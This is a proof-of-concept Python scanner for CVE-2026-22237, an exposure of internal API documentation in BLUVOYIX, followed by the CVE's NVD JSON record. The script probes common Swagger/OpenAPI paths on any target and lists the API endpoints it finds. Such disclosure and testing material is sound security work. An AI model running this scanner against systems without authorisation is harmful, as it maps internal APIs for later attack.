CVE-2026-22237

# CVE-2026-22237 PoC - BLUVOYIX API Documentation Exposure # This PoC demonstrates the exposure of sensitive internal API documentation import requests import json import sys def check_api_documentation_exposure(target_url): """ Check if the target BLUVOYIX instance exposes sensitive API documentation """ results = { 'vulnerable': False, 'endpoints': [], 'details': [] } # Common API documentation paths that might be exposed doc_paths = [ '/api/docs', '/api/swagger.json', '/api/openapi.json', '/api/v1/api-docs', '/api/v2/api-docs', '/swagger-ui.html', '/api/documentation', '/docs/api', '/internal/api-docs', '/api/swagger.yaml' ] headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36' } print(f"[*] Scanning target: {target_url}") print(f"[*] Checking for exposed API documentation...\n") for path in doc_paths: url = target_url.rstrip('/') + path try: response = requests.get(url, headers=headers, timeout=10, verify=False) if response.status_code == 200: content_type = response.headers.get('Content-Type', '') # Check if response contains API documentation if 'swagger' in content_type or 'openapi' in content_type or \ 'swagger' in response.text.lower() or 'api' in response.text.lower(): print(f"[+] Found exposed API documentation: {url}") print(f" Status: {response.status_code}") print(f" Content-Type: {content_type}") results['vulnerable'] = True results['endpoints'].append(url) results['details'].append({ 'path': path, 'status_code': response.status_code, 'content_length': len(response.text) }) # Try to extract API endpoints from documentation try: if response.headers.get('Content-Type', '').startswith('application/json'): api_data = response.json() if 'paths' in api_data: print(f" [+] Discovered {len(api_data['paths'])} API paths") for endpoint in list(api_data['paths'].keys())[:5]: print(f" - {endpoint}") except: pass except requests.exceptions.RequestException as e: print(f"[-] Error checking {path}: {str(e)}") if results['vulnerable']: print(f"\n[!] VULNERABLE: Sensitive API documentation is exposed") print(f"[!] Attackers can use this information to discover and exploit internal APIs") else: print(f"\n[+] No exposed API documentation found") return results if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2026-22237-poc.py <target_url>") print("Example: python cve-2026-22237-poc.py http://target.com") sys.exit(1) target = sys.argv[1] results = check_api_documentation_exposure(target) # Save results with open('cve-2026-22237-results.json', 'w') as f: json.dump(results, f, indent=2) print(f"\n[*] Results saved to cve-2026-22237-results.json")

{"cve": {"id": "CVE-2026-22237", "sourceIdentifier": "56a186b1-7f5e-4314-ba38-38d5499fccfd", "published": "2026-01-14T15:16:04.780", "lastModified": "2026-02-02T15:50:01.883", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "The vulnerability exists in BLUVOYIX due to the exposure of sensitive internal API documentation. An unauthenticated remote attacker could exploit this vulnerability by sending specially crafted HTTP requests to the APIs exposed by the documentation. Successful exploitation of this vulnerability could allow the attacker to cause damage to the targeted platform by abusing internal functionality."}, {"lang": "es", "value": "La vulnerabilidad existe en BLUVOYIX debido a la exposición de documentación interna sensible de la API. Un atacante remoto no autenticado podría explotar esta vulnerabilidad enviando solicitudes HTTP especialmente diseñadas a las API expuestas por la documentación. La explotación exitosa de esta vulnerabilidad podría permitir al atacante causar daño a la plataforma objetivo al abusar de la funcionalidad interna."}], "metrics": {"cvssMetricV40": [{"source": "56a186b1-7f5e-4314-ba38-38d5499fccfd", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:L/U:Amber", "baseScore": 10.0, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "HIGH", "subIntegrityImpact": "HIGH", "subAvailabilityImpact": "HIGH", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "LOW", "providerUrgency": "AMBER"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "56a186b1-7f5e-4314-ba38-38d5499fccfd", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-200"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:blusparkglobal:bluvoyix:-:*:*:*:*:*:*:*", "matchCriteriaId": "84FDD5FA-DB87-4263-A7F2-C136D7F4155C"}]}]}], "references": [{"url": "https://blusparkglobal.com/bluvoyix/", "source": "56a186b1-7f5e-4314-ba38-38d5499fccfd", "tags": ["Product"]}]}}